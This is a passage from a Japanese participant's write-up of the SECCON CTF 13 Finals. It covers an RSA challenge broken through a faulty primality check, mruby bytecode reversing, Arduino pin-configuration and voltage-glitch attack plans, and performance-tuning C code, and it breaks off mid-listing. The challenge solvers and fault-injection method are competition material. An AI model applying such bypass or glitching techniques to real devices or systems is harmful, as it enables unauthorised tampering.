SECCON CTF 13 Finals 参加記
2025/3/1-2025/3/2 に開催されたSECCON 13 Finalsの参加記。
自分 (@zatsu308) ともやし先輩 (@oreha_senpai) の2人チーム AkihiroOmori(traP)で参加し、4897点で5位だった。
2日に跨るコンテストで両日Jeopardy/KoHがともに出題されておりHardware問も存在するなかなかにハードなCTFだったが、二人しかいない割にはなかなか健闘できたのではないかと思う。
チームについて
チーム AkihiroOmori(traP) は招待枠での参加となっている。 SECCON予選は二人とも予選落ちだったのだが、今年のSECCON決勝にはSANs NetWars Tournaments 2024の招待枠が存在し、もやし先輩がこのコンテストで優勝されたということで、同じく予選落ちで暇だった僕とチームを組むことにした、という経緯。 当初はtraPの面々を誘って参加する予定だったらしいのだが、メンバーの都合が合わず危うくソロ参加になるところだったらしい。 チームメンバーの得意分野はzatsuがPwn/Cryptoでもやし先輩がWeb。得意ジャンルの問題だけ担当を決めつつ他は適当に分担して解いていく、という流れを想定していた。
writeups
[Crypto] RSA+
初日前半の時点でInternational側のsolveが出ていたので取り組んだ。 ソースコードは以下の通り。
import os import signal from secrets import randbelow from Crypto.Util.number import isPrime flag = os.getenv("FLAG", "SECCON{this_is_not_a_flag}") if __name__ == "__main__": signal.alarm(120) p = int(input("Your favorite prime p (hex) > "), 16) print('p:', p) print(isPrime(p)) if not isPrime(p) and p.bit_length() >= 512: print("p must be a prime") exit() q = int(input("Your favorite prime q (hex) > "), 16) print('q:', q) print(isPrime(p)) if not isPrime(q) and q.bit_length() >= 512: print("q must be a prime") exit() n = p * q assert n == q g = n // 2 h = n // 3 x = randbelow(2**512) r = (pow(x, g, n) + pow(x, h, n)) % n print(f"{r = }") guess_x = int(input("Guess x > ")) if x == guess_x: print(flag) else: print("Wrong...")
乱数によって生成された未知の を復元する問題であり、一定以上の大きさの素数
を任意に与えると
とおいたときの
を得ることができる。
一見真剣な問題に見えるが、実はよく見ると p, q のvalid判定部分のコード if not isPrime(p) and p.bit_length() >= 512 がおかしなことがわかる1。
これは二条件のandなので小さな非素数がチェックに引っかかることはなく、 とおくことで
に任意の素数を入れることができる。
を直接入力するように改変したソースコードをChatGPTに渡してソルバを書いてもらった結果が以下のコード。アルゴリズムはよく分かっていないがこれをそのまま実行すると無事フラグが得られた。
from sympy import nextprime n = nextprime(2**512) while n % 3 != 2: n = nextprime(n + 1) print(hex(n)) r = int(input('r:')) for L in [1, -1]: try: inv_val = pow(r - L, -1, n) except ValueError: continue x_candidate = pow(inv_val, 3, n) if pow(x_candidate, (n-1)//2, n) == L: x = x_candidate break print(x)
この提出がDomesticの（WelcomeとKotHを除く）全問題の中でのfirst bloodとなり、一瞬だけ一位に躍り出ることができた。ChatGPT万歳。
コンテスト中は何も考えずにコードを実行してフラグが出た時点で満足していたが、writeup記事でこれしか書かないのは流石に良くないので以下にこの解法の概要（をコンテスト終了後に理解したもの）を書くことにする。
を
や
で割った余りを自由に設定できることに着目して、
の場合を考える。このときフェルマーの小定理より
が成り立つことから、
となる。
また、
より
は
か
のどちらかだということが分かる。
そのため
の両方について逆元の3乗を調べることで
を復元できるということらしい。
[Rev] simple_reversing
flag checkerのELFのみが渡される非常にシンプルな問題。
とりあえずGhidraで開いて問題を読んでみると、main の中で RITE0300 という文字列を読んでいることが分かる。
これはmrubyのバイトコードを表すヘッダーらしい。
そこから暫く詰まってしまったが、よく見るとバイナリ中の RITE0300 から始まる部分がそのままmrubyのバイトコードになっていることに気づき2、該当部分をファイルとして切り出して mruby --verbose tmp.mrb に与えることで以下のような命令列を得る事ができた。
irep 0x5651d96cead0 nregs=10 nlocals=4 pools=2 syms=6 reps=9 ilen=94
local variable names:
R1:size_check
R2:split
R3:checker
000 LAMBDA R1 I[0]
003 LAMBDA R2 I[1]
006 LAMBDA R4 I[2]
009 LAMBDA R5 I[3]
012 LAMBDA R6 I[4]
015 LAMBDA R7 I[5]
018 LAMBDA R8 I[6]
021 LAMBDA R9 I[7]
024 ARRAY R3 R4 6 ; R3:checker
028 MOVE R4 R1 ; R1:size_check
031 GETGV R5 $input
034 SEND R4 :call n=1
038 JMPNOT R4 070
042 MOVE R4 R2 ; R2:split
045 GETGV R5 $input
048 SEND R4 :call n=1
052 MOVE R5 R3 ; R3:checker
055 SEND R4 :zip n=1
059 BLOCK R5 I[8]
062 SENDB R4 :map n=0
066 SEND R4 :all? n=0
070 JMPNOT R4 084
074 STRING R5 L[0] ; Correct!
077 SSEND R4 :puts n=1
081 JMP 091
084 STRING R5 L[1] ; Incorrect...
087 SSEND R4 :puts n=1
091 RETURN R4
093 STOP
...
これをChatGPTに読ませて「このflag checkerの処理を逆算してみて、正しいflagを求めるpythonコードを書いてみて」と丸投げした結果、66秒の試行の末にフラグの文字列をそのまま得ることができた。凄すぎる。
[Rev] SECCON_Glitch_Gate_1
SECCON決勝恒例の3HardWare問。 READMEと問題ページの説明に載っている問題概要は以下の通り。
- 各チームにArduino nanoと工作キットが配布される
- 配布されているArduino nanoとは別に、challenge room内に攻撃対象のArduino nanoが存在する
- 攻撃対象のArduino nanoでプログラムが動いており、その中に2つのフラグが存在する
- フラグの中身のみを変更したELFファイルが与えられるため、これを配布されているArduino nanoに書き込むことで、手元で攻撃のための環境を再現できる
- 一日に一度（つまり合計で二回）challenge roomに行って実機への攻撃に挑戦できる4
事前説明はこれぐらいで、ここから何をすればいいのか、そもそもフラグがどのようにして出力されるのかも分からなかった。
そのため、初日はchallenge roomの中を見てArduinoの適当なピンにテスターを当てて遊ぶだけで挑戦権を浪費してしまった5。
ここから初日夜のホテルで色々調べながら動かしてみる。
まずはArduino IDEなどの環境を整備し、二時間強の試行錯誤6の末にELFの書き込みとArduino IDEのシリアルポート出力設定を終えた。 その結果、シリアル出力に以下のメッセージが出ていることが確認できた。
==================================================== | | | SECCON Glitch Gate | | | ==================================================== [*] Welcome to the SECCON Glitch Gate! [*] Initializing system... [!] ERROR: Incorrect hardware configuration detected. No flag for you! [*] Gathering inner strength........................
どうやらハードウェア設定が条件を満たしていないようだが、どのようにすればフラグが得られるかは載っていない。
そこで、Ghidraや avr-objdump、ChatGPTなどの力を用いてELFの中身を解析していく。
avr-objdump の出力のうち [!] ERROR: Incorrect hardware configuration detected. No flag for you! の出力に関連する部分は以下のようになっている。
8f8: 89 b1 in r24, 0x09 ; 9 8fa: 93 b1 in r25, 0x03 ; 3 8fc: 20 91 00 01 lds r18, 0x0100 ; 0x800100 <__data_start> 900: 80 7e andi r24, 0xE0 ; 224 902: 9f 71 andi r25, 0x1F ; 31 904: 89 2b or r24, r25 906: 82 27 eor r24, r18 908: 83 36 cpi r24, 0x63 ; 99 90a: 39 f5 brne .+78 ; 0x95a <__stack+0x5b> 90c: 8b ee ldi r24, 0xEB ; 235 90e: 90 e0 ldi r25, 0x00 ; 0 910: 0e 94 ea 02 call 0x5d4 ; 0x5d4 <_ZN5Print7printlnEPK19__FlashStringHelper.constprop.7> ... 95a: 84 ea ldi r24, 0xA4 ; 164 95c: 90 e0 ldi r25, 0x00 ; 0 95e: d8 cf rjmp .-80 ; 0x910 <__stack+0x11>
.text 領域の 0x0a4 には [!] ERROR: Incorrect hardware configuration detected. No flag for you! という文字列が、0x0eb には [+] The hardware configuration is correct. The first flag: SECCON{*****************} という文字列が格納されている。
また、Arduino nanoで用いているAVR命令セットでは in はI/Oからの値読み込みを意味しており、0x910 の println は r24,r25 に入ったアドレスに書いてある文字列のシリアル出力を行う関数になっている。
今回は .text 領域の 0x0eb に格納されているフラグを出力させたいため、 0x908,0x90a の比較→ジャンプを行っているところでジャンプをさせずに 0x91c にプログラムカウンタを飛ばすことが要求される。
andやxorを取って比較する部分を解読すると、r24 の値が 0x110***** であること、r25 の値が 0x***11101 であることがこの分岐を行わないための条件であることが分かる。
ここで、in で該当のレジスタに値を入れている部分の命令を再度確認する。
8f8: 89 b1 in r24, 0x09 ; 9 8fa: 93 b1 in r25, 0x03 ; 3
この命令について詳しく調べると、0x8f8 ではarduino nanoのPORTB入力、0x8fa ではPORTD入力の値をレジスタに保存しているらしい。
また、PORTB,PORTDはそれぞれ各ピンの状態 (High/Low) をビット列で表しており、ボード上ではPORTBが D8-D13 と、PORTDが D0-D7 と対応していることが分かった。
PORTBに期待する出力が 0x***11101 であり、PORTDに期待される出力が 0x110***** なことから、これは D5,D9 をLowに、それ以外をHighに設定するべきだということが分かる7。
確か何も接続していない端子はHighになるよな・・・みたいなことを考えながら実際に D5, D9 ピンをArduino nanoのGNDと繋げて手元のArduinoで動作確認をすると、無事手元で（REDACTEDではあるが）フラグを入手することができた。
翌日は15:00-からchallenge roomを予約していたためそこでいざ実践。というところで、手元のArduino nanoで認識していたはずのCOMポートが攻撃対象との接続の際に認識されなくなるトラブルが発生してしまった。 最初は原因が分からず10分ほどオロオロしていたが、暫くしたところでスタッフの方から
との連絡を受けた。
その後ドライバをダウンロードし再度挑戦すると無事通信が行え、1つ目のフラグが得られた。これがdomesticのfirst bloodとなった8。
このまま謎のトラブルで数百点を落とす羽目になるのか・・・と内心かなり焦っていたため、運営の方に助け舟を出して頂いて大変助かった。ありがとうございました。
[Rev] SECCON_Glitch_Gate_2 (unsolved)
最終的には解けなかったが深夜のホテルで頑張ってコードを読んだので供養。 Arduino nano上で動いているプログラムは1つ目のフラグを出力した後に
[*] Gathering inner strength........................ [-] You lack discipline! No flag for you! [*] Gathering inner strength........................ [-] You lack discipline! No flag for you! [*] Gathering inner strength.......
のようなメッセージを繰り返し出力している。
この部分での処理を上手く行って2つ目のフラグを得たい、というのが問題の趣旨。
ソースコードを前問と同じように頑張って読むと、以下のようなCコードで表せる処理を行っていることが確認できた。
#include <stdio.h> #include <stdint.h> #include <stdbool.h> static uint16_t continueLoop = 1; void printMessage(const char* msg) { printf("%s", msg); } void printFlag(void) { printf("[REDACTED]\n"); } int main(void) { while (1) { printMessage("\n"); if (continueLoop == 0) { goto PRINT_FLAG; } uint16_t val = 0; printMessage("[*] Gathering inner strength........................"); uint8_t loopVar = 24; while (loopVar != 0) { uint16_t temp = 0; while (temp < 0x0F0D) { temp++; } val++; printMessage("."); if (val > 255) { continueLoop = 0; } if (continueLoop == 0) { break; } loopVar--; } // while (loopVar != 0) printMessage("\n"); if (continueLoop == 0) { goto PRINT_FLAG; } else { printMessage("[-] You lack discipline! No flag for you!\n"); } } PRINT_FLAG: printFlag(); return 0; }
一度の処理では loopVar を更新しながら24回ループを行い、ループ中の各ステップではゼロ初期化されている変数 val を毎回インクリメントしている。ループ中に val>255 になれば continueLoop が1になりフラグが得られる、という動作になっている。
見れば分かる通り val は各試行で高々24にしかならず、バグが起きない限りどうしても continueLoop を1にすることはできない。
そのため、電圧グリッチなどのハードウェアに干渉する攻撃によってフラグを得るものだと考え、以下のような構成での攻撃を考えてプログラムや回路の準備を行った。
- 配布されている手元Arduino nanoをglitcherとして、200nsぐらいだけ電圧をかけるようなプログラムを用意
- Arduino nanoのピン出力からMOSFETをつなげて、MOSFETの出力を攻撃対象Arduino nanoの電源ピンに繋げる
- ループ中に電圧をかけて攻撃対象の電圧を一瞬だけ0Vに落とし、バグによるレジスタ書き換えを狙う
とはいえこれを実機一発本番でやって成功するとは思えず、challengeの時間が最終日の終了2時間前で試行をする時間がない+前述のトラブルで時間を浪費してしまったために実際に攻撃を試みることは断念してしまった。残念。 後程運営の方に話を伺ったところ、想定解はクロック波を与える電圧グリッチらしい。最終的に解けはしなかったものの、オンサイト環境でしかできない設定で非常に面白い問題だった。
[KoH] Allegro
競技期間中ずっと行われていたKoH問。 問題は「低速なELFファイルが配布されるので、それを高速化しろ」というシンプルな内容で、詳しいルールは以下のようになっている9。
- 基本的なルール
- ラウンドについて
- 問題は合計6問で、Day1, Day2でそれぞれ3ラウンドが行われる
- 1ラウンドは90分～150分で、ラウンド中は経過時間によってテストケースの難易度が変化する
- スコアリングについて
- 5分毎にPhaseが切り替わり、各Phase毎にスコアが与えられる
- 各Phaseではアップロードされたバイナリに同じ入力を与えて20回実行を行い、出力の正しさと実行時間を確認する
- 全実行で3sec以内に正しい答えを出力できればAcceptedとなる
- 各Phaseごとに全チームの提出が順位付けされ、順位に応じた点数が得られる
- 提出の順位付けの基準は以下の通り:
- 提出がAcceptedとならなかったチームは一律で最下位
- Acceptedとなったチームは
が小さい順に順位付け（同じなら同率）
- 点数は確か上から20,16,12,9,6,...みたいな感じ
- 計算機環境
- 計算機情報はRulesに詳しく記載あり
- 実環境へのsshなどは行えなえず、Dockerfileなどの配布もなし
- メモリ制限は256MBぐらい
- ラウンド5辺りで512MBに増えた気もするがよく覚えていない
- 1チームの計算リソースは2コア分で、同時に3プロセスまで立ち上げることができる
以上。Reversingパートと高速化パートに分かれており、自分のようなRevが最低限できる競プロ出身勢には向いていそうな問題だと感じた。
Round 1
コンテスト開始と同時に始まった最初のラウンド。 再序盤のKoHが得点の稼ぎどころになると考えて、コンテスト開始直後に張り付いて解いた。 渡されたELFをGhidraで読んだ結果がこんな感じ。
#include <stdio.h> long f(long n) { if(n == 0){ return 1; }else if(n == 1){ return 1; }else if(n == 2){ return 1; }else{ return n + f(n-3) + f(n-2) - f(n-1); } } int main(){ unsigned long long a; scanf("%llu", &a); if(a > 3){ sleep(5); } printf("%llu\n", f(a)); return 0; }
a > 3 で sleep(5) を挟んでいるのが最初の自明な高速化ポイント。
最初はバイナリの該当部分を nop で置き換えようかと考えたが、よく考えると元のELFにパッチを当てて作る必要は全くなく、Cのコードを自分で書いてコンパイル結果を提出すればいいことに気づいた。
ということで sleep(5) の処理を消してついでに指数時間ぐらいかかりそうな再帰呼び出しをループに置き換えたのが以下のコード。
#include <stdio.h> long f(long n) { if (n < 3) return 1; long f0 = 1, f1 = 1, f2 = 1, f_current; for (long i = 3; i <= n; i++) { f_current = i + (f0 + f1 - f2); f0 = f1; f1 = f2; f2 = f_current; } return f2; } int main(){ unsigned long long a; scanf("%llu", &a); printf("%llu\n", f(a)); return 0; }
これを提出することでTimeoutがAcceptedに切り替わり、無事に1位を取ることができた。
一旦ここで終わりにしても良かったが、実は入力の型が unsigned long long であるため、実行に 時間がかかる現在のコードではテストケースの難易度が上がった場合にTimeoutになると考えられる。
このタイプの漸化式は行列累乗で
で解けることが知られているため、ChatGPTにその旨を伝えて高速なコードを書いてもらった。
#include <stdio.h> #define N 5 // 行列のサイズ typedef unsigned long long ull; void multiply_matrix(ull A[N][N], ull B[N][N], ull C[N][N]) { int i, j, k; for(i = 0; i < N; i++) { for(j = 0; j < N; j++) { C[i][j] = 0; for(k = 0; k < N; k++) { C[i][j] += A[i][k] * B[k][j]; } } } } void copy_matrix(ull dest[N][N], ull src[N][N]) { int i, j; for(i = 0; i < N; i++) { for(j = 0; j < N; j++) { dest[i][j] = src[i][j]; } } } void matrix_power(ull M[N][N], ull p, ull result[N][N]) { int i, j; ull temp[N][N]; ull M_copy[N][N]; copy_matrix(M_copy, M); for(i = 0; i < N; i++) { for(j = 0; j < N; j++) { result[i][j] = (i == j) ? 1 : 0; } } while(p > 0) { if (p & 1) { multiply_matrix(result, M_copy, temp); copy_matrix(result, temp); } multiply_matrix(M_copy, M_copy, temp); copy_matrix(M_copy, temp); p /= 2; } } ull compute_f(ull n) { if(n < 3) return 1; ull M[N][N] = { {(ull)(-1), 1, 1, 1, 1}, {1, 0, 0, 0, 0}, {0, 1, 0, 0, 0}, {0, 0, 0, 1, 1}, {0, 0, 0, 0, 1} }; ull X[N] = {1, 1, 1, 2, 1}; ull M_exp[N][N]; matrix_power(M, n - 2, M_exp); ull Y[N] = {0}; int i, j; for (i = 0; i < N; i++) { for (j = 0; j < N; j++) { Y[i] += M_exp[i][j] * X[j]; } } return Y[0]; } int main(){ unsigned long long a; scanf("%llu", &a); printf("%llu\n", compute_f(a)); return 0; }
このコードを提出するようにしてからしばらく待つと、Phaseの切り替わりで問題難易度がHardになった途端に複数チームの提出がタイムアウトしていることが確認できた。
以降はこのまま最終時点まで0.1secでのAcceptedを続け、無事に全Phase1位で満点を得ることができた。嬉しい。
ちなみに想定解は漸化式を解いての 解法だったらしい。とはいえ100ms単位でしか評価されない以上
でも満点が取れる程度には高速であり、結果的にはこの解法でも十分だった。
Round 2
少し読んだが無理そうだったので撤退。 これは完全に解けなかった言い訳なのだが、2人チームでKoHが2問あるのでお互いがずっとKoHに張り付いているとJeopardyに一切取り組めず、厳しそうなときは早めに撤退するようにしていた。
Round 3
VMっぽいELFファイルが与えられる。入出力例はこんな感じ。
=-----------INPUT-----------= OP1 0,123 OP1 1,234 OP3 0,1 __EOF__ =-----------OUTPUT----------= R0: 0x00000165 R1: 0x000000ea R2: 0x00000000 R3: 0x00000000 R4: 0x00000000 R5: 0x00000000 R6: 0x00000000 R7: 0x00000000 R8: 0x00000000 R9: 0x00000000
Ghidraでデコンパイルしてそれっぽい変数名をつけたものの抜粋がこんな感じ。
tuple[1] = py_list_getitem(list,(ulong)list_index & 0xffffffff); tuple[0] = py_tuple_getitem(tuple[1],0); tuple[1] = py_tuple_getitem(tuple[1],1); arg0_str = (char *)py_tostr(tuple[0]); iVar4 = strcmp(arg0_str,"OP1"); if (iVar4 == 0) { vm_insn_op1(list_index,tuple[1]); } else { iVar4 = strcmp(arg0_str,"OP2"); if (iVar4 == 0) { vm_insn_op2(list_index,tuple[1]); } void vm_insn_op1(long param_1,undefined8 arg) { undefined4 uVar1; undefined8 uVar2; long lVar3; uVar2 = py_list_getitem(arg,0); lVar3 = py_toint(uVar2); uVar2 = py_list_getitem(arg,1); uVar1 = py_toint(uVar2); *(undefined4 *)(param_1 + 8 + lVar3 * 4) = uVar1; return; }
プログラム自体は入力を処理して最終的なレジスタの中身を出力する単純なVMになっているが、どうやら入力を処理するVM内でさらにPythonのVMを介しているらしい。 各Opcodeの中身を確認すると四則演算とif/while程度しかなかったため、まずはOPcodeの中身を理解してからChatGPTにCで書き直してもらう。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #define MAX_LINE 256 #define INITIAL_PROG_SIZE 100 typedef enum { OP_1, OP_2, OP_3, OP_4, OP_5, OP_6, OP_7, OP_8, OP_9, OP_UNKNOWN } Opcode; typedef struct { Opcode opcode; int arg_count; unsigned long long args[3]; // 最大3個の引数を想定 } Instruction; /* 文字列からOPcodeを判定 */ Opcode parseOpcode(const char *s) { if(strcmp(s, "OP1") == 0) return OP_1; if(strcmp(s, "OP2") == 0) return OP_2; if(strcmp(s, "OP3") == 0) return OP_3; if(strcmp(s, "OP4") == 0) return OP_4; if(strcmp(s, "OP5") == 0) return OP_5; if(strcmp(s, "OP6") == 0) return OP_6; if(strcmp(s, "OP7") == 0) return OP_7; if(strcmp(s, "OP8") == 0) return OP_8; if(strcmp(s, "OP9") == 0) return OP_9; return OP_UNKNOWN; } int main(void) { char line[MAX_LINE]; Instruction *prog = malloc(sizeof(Instruction) * INITIAL_PROG_SIZE); if (!prog) { fprintf(stderr, "Memory allocation failed\n"); return 1; } int progSize = INITIAL_PROG_SIZE; int progCount = 0; while(fgets(line, sizeof(line), stdin)) { /* 改行除去 */ line[strcspn(line, "\r\n")] = '\0'; if(strcmp(line, "__EOF__") == 0) break; if(strlen(line) == 0) continue; char opcodeStr[16]; char argsStr[128] = {0}; /* 最初の単語（OPcode）と残りの部分を読み取る */ if(sscanf(line, "%15s %[^\n]", opcodeStr, argsStr) < 1) continue; Instruction inst; inst.opcode = parseOpcode(opcodeStr); inst.arg_count = 0; /* argsStr が空でなければ、カンマ区切りで解析 */ if(strlen(argsStr) > 0) { char *token = strtok(argsStr, ","); while(token != NULL && inst.arg_count < 3) { /* 前後の空白を除去 */ while(*token == ' ') token++; char *end = token + strlen(token) - 1; while(end > token && (*end == ' ')) { *end = '\0'; end--; } inst.args[inst.arg_count] = strtoull(token, NULL, 10); inst.arg_count++; token = strtok(NULL, ","); } } /* 配列が足りなければ拡張 */ if(progCount >= progSize) { progSize *= 2; prog = realloc(prog, sizeof(Instruction) * progSize); if (!prog) { fprintf(stderr, "Memory allocation failed\n"); return 1; } } prog[progCount++] = inst; } /* レジスタファイル (R0～R9) の初期値（出力例に合わせた定数） */ unsigned int R[10] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; /* プログラムカウンタ pc */ int pc = 0; while(pc >= 0 && pc < progCount) { /* 最終的なレジスタの状態を出力 (各値は8桁の16進数) */ // for (int i = 0; i < 10; i++) { // printf("TMP_R%d: 0x%08x\n", i, R[i]); // } Instruction inst = prog[pc]; // printf("opcode: %d", inst.opcode); // for (int i = 0; i < inst.arg_count; i++) { // printf(", arg%d: %llu", i, inst.args[i]); // } // printf("\n"); switch(inst.opcode) { case OP_1: /* OP1: R[arg0] = immediate value (arg1) */ if(inst.arg_count == 2) { unsigned long long regIndex = inst.args[0]; unsigned long long imm = inst.args[1]; if(regIndex < 10) R[regIndex] = (unsigned int)imm; } pc++; break; case OP_2: /* OP2: R[arg0] = R[arg1] */ if(inst.arg_count == 2) { unsigned long long dest = inst.args[0]; unsigned long long src = inst.args[1]; if(dest < 10 && src < 10) R[dest] = R[src]; } pc++; break; case OP_3: /* OP3: R[arg0] = R[arg0] + R[arg1] */ if(inst.arg_count == 2) { unsigned long long a = inst.args[0]; unsigned long long b = inst.args[1]; if(a < 10 && b < 10) R[a] = R[a] + R[b]; } pc++; break; case OP_4: /* OP4: R[arg0] = R[arg0] - R[arg1] */ if(inst.arg_count == 2) { unsigned long long a = inst.args[0]; unsigned long long b = inst.args[1]; if(a < 10 && b < 10) R[a] = R[a] - R[b]; } pc++; break; case OP_5: /* OP5: R[arg0] = R[arg0] * R[arg1] */ if(inst.arg_count == 2) { unsigned long long a = inst.args[0]; unsigned long long b = inst.args[1]; if(a < 10 && b < 10) R[a] = R[a] * R[b]; } pc++; break; case OP_6: /* OP6: R[arg0] = R[arg0] / R[arg1] (整数除算) */ if(inst.arg_count == 2) { unsigned long long a = inst.args[0]; unsigned long long b = inst.args[1]; if(a < 10 && b < 10) { if(R[b] == 0) { fprintf(stderr, "Division by zero error at instruction %d\n", pc); free(prog); return 1; } R[a] = R[a] / R[b]; } } pc++; break; case OP_7: /* OP7: if (R[arg0] == R[arg1]) jump to arg2 */ if(inst.arg_count == 3) { unsigned long long a = inst.args[0]; unsigned long long b = inst.args[1]; unsigned long long target = inst.args[2]; if(a < 10 && b < 10) { if(R[a] == R[b]) pc = (int)target; else pc++; } else { pc++; } } else { pc++; } break; case OP_8: /* OP8: if (R[arg0] != R[arg1]) jump to arg2 */ if(inst.arg_count == 3) { unsigned long long a = inst.args[0]; unsigned long long b = inst.args[1]; unsigned long long target = inst.args[2]; if(a < 10 && b < 10) { if(R[a] != R[b]) pc = (int)target; else pc++; } else { pc++; } } else { pc++; } break; case OP_9: /* OP9: Unconditional jump to arg0 */ if(inst.arg_count == 1) { unsigned long long target = inst.args[0]; pc = (int)target; } else { pc++; } break; default: /* 不明な命令は無視 */ pc++; break; } } /* 最終的なレジスタの状態を出力 (各値は8桁の16進数) */ for (int i = 0; i < 10; i++) { printf("R%d: 0x%08x\n", i, R[i]); } free(prog); return 0; }
これを提出するとAcceptedが得られたが、実行に1.5秒程度かかっておりさらなる高速化が必要だと分かった。
オーダーレベルでの高速化を考えると int sum=0; for(int i=0;i<n;++i)sum+=i; のようなコードがあった場合に高速に処理を行ってほしいが、自前のプログラムにこのような最適化を入れるのは困難に感じる。
そこで、「入力命令列を等価なソースコードに変換してgccの -Ofast でコンパイルしたバイナリをJust-In-Timeで生成し、その
バイナリをexecすることで高速に結果を得る」という戦略で高速化を図ることにした。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> // for mkdtemp #include <errno.h> #define MAX_LINE 256 #define INITIAL_PROG_SIZE 100 typedef enum { OP_1, OP_2, OP_3, OP_4, OP_5, OP_6, OP_7, OP_8, OP_9, OP_UNKNOWN } Opcode; typedef struct { Opcode opcode; int arg_count; unsigned long long args[3]; } Instruction; Opcode parseOpcode(const char *s) { if(strcmp(s, "OP1") == 0) return OP_1; if(strcmp(s, "OP2") == 0) return OP_2; if(strcmp(s, "OP3") == 0) return OP_3; if(strcmp(s, "OP4") == 0) return OP_4; if(strcmp(s, "OP5") == 0) return OP_5; if(strcmp(s, "OP6") == 0) return OP_6; if(strcmp(s, "OP7") == 0) return OP_7; if(strcmp(s, "OP8") == 0) return OP_8; if(strcmp(s, "OP9") == 0) return OP_9; return OP_UNKNOWN; } int main(void) { char line[MAX_LINE]; Instruction *prog = malloc(sizeof(Instruction) * INITIAL_PROG_SIZE); if (!prog) { fprintf(stderr, "Memory allocation failed\n"); return 1; } int progSize = INITIAL_PROG_SIZE; int progCount = 0; while(fgets(line, sizeof(line), stdin)) { line[strcspn(line, "\r\n")] = '\0'; if(strcmp(line, "__EOF__") == 0) break; if(strlen(line) == 0) continue; char opcodeStr[16]; char argsStr[128] = {0}; if(sscanf(line, "%15s %[^\n]", opcodeStr, argsStr) < 1) continue; Instruction inst; inst.opcode = parseOpcode(opcodeStr); inst.arg_count = 0; if(strlen(argsStr) > 0) { char *token = strtok(argsStr, ","); while(token != NULL && inst.arg_count < 3) { while(*token == ' ') token++; char *end = token + strlen(token) - 1; while(end > token && (*end == ' ')) { *end = '\0'; end--; } inst.args[inst.arg_count] = strtoull(token, NULL, 10); inst.arg_count++; token = strtok(NULL, ","); } } if(progCount >= progSize) { progSize *= 2; prog = realloc(prog, sizeof(Instruction) * progSize); if (!prog) { fprintf(stderr, "Memory allocation failed\n"); return 1; } } prog[progCount++] = inst; } char tmpDirTemplate[] = "/tmp/vmXXXXXX"; char *tmpDir = mkdtemp(tmpDirTemplate); if(tmpDir == NULL) { fprintf(stderr, "Failed to create temporary directory: %s\n", strerror(errno)); free(prog); return 2; } char sourcePath[256]; char binaryPath[256]; snprintf(sourcePath, sizeof(sourcePath), "%s/vm_generated.c", tmpDir); snprintf(binaryPath, sizeof(binaryPath), "%s/vm_generated", tmpDir); FILE *fp = fopen(sourcePath, "w"); if(!fp) { fprintf(stderr, "Failed to open output file %s: %s\n", sourcePath, strerror(errno)); free(prog); return 3; } fprintf(fp, "#include <stdio.h>\n"); fprintf(fp, "#include <stdlib.h>\n"); fprintf(fp, "#include <stdint.h>\n\n"); fprintf(fp, "int main(void) {\n"); fprintf(fp, " int i;\n"); fprintf(fp, " unsigned int R[10] = {0};\n\n"); for (int i = 0; i < progCount; i++) { fprintf(fp, "L%d:\n", i); Instruction inst = prog[i]; switch(inst.opcode) { case OP_1: if(inst.arg_count == 2) fprintf(fp, " R[%llu] = %lluU;\n", inst.args[0], inst.args[1]); break; case OP_2: if(inst.arg_count == 2) fprintf(fp, " R[%llu] = R[%llu];\n", inst.args[0], inst.args[1]); break; case OP_3: if(inst.arg_count == 2) fprintf(fp, " R[%llu] = R[%llu] + R[%llu];\n", inst.args[0], inst.args[0], inst.args[1]); break; case OP_4: if(inst.arg_count == 2) fprintf(fp, " R[%llu] = R[%llu] - R[%llu];\n", inst.args[0], inst.args[0], inst.args[1]); break; case OP_5: if(inst.arg_count == 2) fprintf(fp, " R[%llu] = R[%llu] * R[%llu];\n", inst.args[0], inst.args[0], inst.args[1]); break; case OP_6: if(inst.arg_count == 2) { fprintf(fp, " R[%llu] = R[%llu] / R[%llu];\n", inst.args[0], inst.args[0], inst.args[1]); } break; case OP_7: { if(inst.arg_count == 3) { unsigned long long target = inst.args[2]; if(target >= (unsigned long long)progCount) target = progCount; // Lend（LprogCount）に飛ばす fprintf(fp, " if(R[%llu] == R[%llu]) goto L%llu; else goto L%d;\n", inst.args[0], inst.args[1], target, i+1); } break; } case OP_8: { if(inst.arg_count == 3) { unsigned long long target = inst.args[2]; if(target >= (unsigned long long)progCount) target = progCount; fprintf(fp, " if(R[%llu] != R[%llu]) goto L%llu; else goto L%d;\n", inst.args[0], inst.args[1], target, i+1); } break; } case OP_9: { if(inst.arg_count == 1) { unsigned long long target = inst.args[0]; if(target >= (unsigned long long)progCount) target = progCount; fprintf(fp, " goto L%llu;\n", target); } break; } default: break; } fprintf(fp, "\n"); } fprintf(fp, "L%d:\n", progCount); fprintf(fp, " for(i = 0; i < 10; i++) {\n"); fprintf(fp, " printf(\"R%%d: 0x%%08x\\n\", i, R[i]);\n"); fprintf(fp, " }\n"); fprintf(fp, " return 0;\n"); fprintf(fp, "}\n"); fclose(fp); free(prog); char compileCmd[1024]; snprintf(compileCmd, sizeof(compileCmd), "gcc -Ofast \"%s\" -o \"%s\"", sourcePath, binaryPath); if(system(compileCmd) != 0) { return 4; } char execCmd[512]; snprintf(execCmd, sizeof(execCmd), "\"%s\"", binaryPath); return system(execCmd); }
このアイデアが通ったら大ウケだろうな、と思って投げたが gcc の実行でのエラーが取れないまま一時間ほど経過し、その間に他チームとの点差がどんどん離れてしまった。
これ以上の点数差がつくのは避けたいのでこの方針は一旦諦め、JITの代替方針として「mmapでrwx 領域を確保してそこに機械語を書きこみ実行する」という方針に切り替えることにした。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <sys/mman.h> #include <errno.h> #define MAX_LINE 256 #define INITIAL_PROG_SIZE 100 typedef enum { OP_1, OP_2, OP_3, OP_4, OP_5, OP_6, OP_7, OP_8, OP_9, OP_UNKNOWN } Opcode; typedef struct { Opcode opcode; int arg_count; unsigned long long args[3]; // 最大3個の引数を想定 } Instruction; Opcode parseOpcode(const char *s) { if(strcmp(s, "OP1") == 0) return OP_1; if(strcmp(s, "OP2") == 0) return OP_2; if(strcmp(s, "OP3") == 0) return OP_3; if(strcmp(s, "OP4") == 0) return OP_4; if(strcmp(s, "OP5") == 0) return OP_5; if(strcmp(s, "OP6") == 0) return OP_6; if(strcmp(s, "OP7") == 0) return OP_7; if(strcmp(s, "OP8") == 0) return OP_8; if(strcmp(s, "OP9") == 0) return OP_9; return 